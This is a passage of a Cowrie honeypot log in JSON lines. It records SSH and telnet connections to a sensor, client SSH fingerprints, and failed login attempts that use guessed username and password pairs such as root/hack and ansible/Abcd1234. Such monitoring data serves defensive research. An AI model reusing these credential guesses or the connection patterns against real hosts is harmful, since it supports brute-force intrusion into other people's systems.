{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:48.719007Z","src_ip":"159.203.92.129","session":"3b4c28d7ae7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Abc@123456","message":"login attempt [ansible/Abc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:48.770780Z","src_ip":"159.203.92.129","session":"3b4c28d7ae7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:49.776814Z","src_ip":"159.203.92.129","session":"3b4c28d7ae7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":44072,"dst_ip":"159.203.135.109","dst_port":23,"session":"493473f44028","protocol":"telnet","message":"New connection: 185.26.126.47:44072 (159.203.135.109:23) [session: 493473f44028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:50:49.958030Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":55668,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b47d9b7f84","protocol":"ssh","message":"New connection: 80.94.92.182:55668 (10.17.0.5:22) [session: 71b47d9b7f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:00.721120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:00.781781Z","src_ip":"80.94.92.182","session":"71b47d9b7f84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:00.885581Z","src_ip":"80.94.92.182","session":"71b47d9b7f84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:01.693588Z","src_ip":"80.94.92.182","session":"71b47d9b7f84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43142,"dst_ip":"159.203.135.109","dst_port":23,"session":"26fd3a69bba5","protocol":"telnet","message":"New connection: 204.10.38.242:43142 (159.203.135.109:23) [session: 26fd3a69bba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:01.816628Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:02.836087Z","src_ip":"80.94.92.182","session":"71b47d9b7f84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.339032888412476,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:28.296954Z","src_ip":"185.26.126.47","session":"493473f44028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35656,"dst_ip":"159.203.135.109","dst_port":23,"session":"2beb90133e7a","protocol":"telnet","message":"New connection: 204.10.38.242:35656 (159.203.135.109:23) [session: 2beb90133e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:30.627331Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60238,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ea2717d21ca","protocol":"ssh","message":"New connection: 159.203.92.129:60238 (159.203.135.109:22) [session: 5ea2717d21ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:31.589521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:31.594181Z","src_ip":"159.203.92.129","session":"5ea2717d21ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:31.598580Z","src_ip":"159.203.92.129","session":"5ea2717d21ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Abcd1234","message":"login attempt [ansible/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:31.611297Z","src_ip":"159.203.92.129","session":"5ea2717d21ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:32.617150Z","src_ip":"159.203.92.129","session":"5ea2717d21ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.966887950897217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:32.783387Z","src_ip":"204.10.38.242","session":"26fd3a69bba5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53952,"dst_ip":"159.203.135.109","dst_port":23,"session":"ace42ec165f2","protocol":"telnet","message":"New connection: 204.10.38.242:53952 (159.203.135.109:23) [session: ace42ec165f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:34.511328Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33186,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ea6dcc8b608","protocol":"telnet","message":"New connection: 204.10.38.242:33186 (159.203.135.109:23) [session: 1ea6dcc8b608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:36.276445Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36648,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a122bb6f764","protocol":"telnet","message":"New connection: 204.10.38.242:36648 (159.203.135.109:23) [session: 5a122bb6f764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:36.919306Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50368,"dst_ip":"159.203.135.109","dst_port":23,"session":"9569ec879bd3","protocol":"telnet","message":"New connection: 204.10.38.242:50368 (159.203.135.109:23) [session: 9569ec879bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:39.924640Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58646,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c5a7f6a168c","protocol":"telnet","message":"New connection: 204.10.38.242:58646 (159.203.135.109:23) [session: 1c5a7f6a168c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:41.762573Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52524,"dst_ip":"159.203.135.109","dst_port":23,"session":"abea9a0b7888","protocol":"telnet","message":"New connection: 204.10.38.242:52524 (159.203.135.109:23) [session: abea9a0b7888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:42.454527Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41402,"dst_ip":"159.203.135.109","dst_port":23,"session":"90cd282d10ec","protocol":"telnet","message":"New connection: 204.10.38.242:41402 (159.203.135.109:23) [session: 90cd282d10ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:45.045751Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":42826,"dst_ip":"159.203.135.109","dst_port":22,"session":"69d7e7f45f13","protocol":"ssh","message":"New connection: 171.244.141.86:42826 (159.203.135.109:22) [session: 69d7e7f45f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:47.068970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:47.073446Z","src_ip":"171.244.141.86","session":"69d7e7f45f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:47.327861Z","src_ip":"171.244.141.86","session":"69d7e7f45f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hack","message":"login attempt [root/hack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:48.356835Z","src_ip":"171.244.141.86","session":"69d7e7f45f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38074,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0591e8d53e2","protocol":"telnet","message":"New connection: 204.10.38.242:38074 (159.203.135.109:23) [session: a0591e8d53e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:49.400125Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38836,"dst_ip":"159.203.135.109","dst_port":23,"session":"298a12d71513","protocol":"telnet","message":"New connection: 204.10.38.242:38836 (159.203.135.109:23) [session: 298a12d71513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:49.452567Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":52054,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb1a35f284e3","protocol":"ssh","message":"New connection: 103.146.202.174:52054 (159.203.135.109:22) [session: fb1a35f284e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:49.458178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:49.464351Z","src_ip":"103.146.202.174","session":"fb1a35f284e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:49.611246Z","src_ip":"171.244.141.86","session":"69d7e7f45f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:49.708218Z","src_ip":"103.146.202.174","session":"fb1a35f284e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37238,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd5f5349e7be","protocol":"telnet","message":"New connection: 204.10.38.242:37238 (159.203.135.109:23) [session: bd5f5349e7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:50.293734Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60730,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c049f267ba2","protocol":"telnet","message":"New connection: 204.10.38.242:60730 (159.203.135.109:23) [session: 1c049f267ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:50.299947Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42998,"dst_ip":"159.203.135.109","dst_port":23,"session":"32cdd3188d9c","protocol":"telnet","message":"New connection: 204.10.38.242:42998 (159.203.135.109:23) [session: 32cdd3188d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:50.415586Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@@","message":"login attempt [root/root@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:50.788370Z","src_ip":"103.146.202.174","session":"fb1a35f284e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47130,"dst_ip":"159.203.135.109","dst_port":23,"session":"2376c0c1c394","protocol":"telnet","message":"New connection: 204.10.38.242:47130 (159.203.135.109:23) [session: 2376c0c1c394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:51.382692Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48502,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cb4923b4252","protocol":"telnet","message":"New connection: 204.10.38.242:48502 (159.203.135.109:23) [session: 6cb4923b4252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:51.554240Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:52.035051Z","src_ip":"103.146.202.174","session":"fb1a35f284e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47396,"dst_ip":"159.203.135.109","dst_port":23,"session":"02208fa83421","protocol":"telnet","message":"New connection: 204.10.38.242:47396 (159.203.135.109:23) [session: 02208fa83421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:52.438232Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34496,"dst_ip":"159.203.135.109","dst_port":23,"session":"c98053e2335e","protocol":"telnet","message":"New connection: 204.10.38.242:34496 (159.203.135.109:23) [session: c98053e2335e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:54.559295Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37946,"dst_ip":"159.203.135.109","dst_port":23,"session":"a962b6f8e0c8","protocol":"telnet","message":"New connection: 204.10.38.242:37946 (159.203.135.109:23) [session: a962b6f8e0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:55.344438Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38666,"dst_ip":"159.203.135.109","dst_port":23,"session":"98bd672bef17","protocol":"telnet","message":"New connection: 204.10.38.242:38666 (159.203.135.109:23) [session: 98bd672bef17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:55.421915Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42554,"dst_ip":"159.203.135.109","dst_port":23,"session":"9819b735fa82","protocol":"telnet","message":"New connection: 204.10.38.242:42554 (159.203.135.109:23) [session: 9819b735fa82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:56.248315Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42678,"dst_ip":"159.203.135.109","dst_port":23,"session":"87d15befd8aa","protocol":"telnet","message":"New connection: 204.10.38.242:42678 (159.203.135.109:23) [session: 87d15befd8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:56.281949Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47650,"dst_ip":"159.203.135.109","dst_port":23,"session":"af60c35f4600","protocol":"telnet","message":"New connection: 204.10.38.242:47650 (159.203.135.109:23) [session: af60c35f4600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:57.322991Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48198,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d2124e865bd","protocol":"telnet","message":"New connection: 204.10.38.242:48198 (159.203.135.109:23) [session: 8d2124e865bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:57.393408Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43720,"dst_ip":"159.203.135.109","dst_port":23,"session":"35847e80da58","protocol":"telnet","message":"New connection: 204.10.38.242:43720 (159.203.135.109:23) [session: 35847e80da58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:57.437093Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49110,"dst_ip":"159.203.135.109","dst_port":23,"session":"852e40bd08bb","protocol":"telnet","message":"New connection: 204.10.38.242:49110 (159.203.135.109:23) [session: 852e40bd08bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:57.515495Z"}
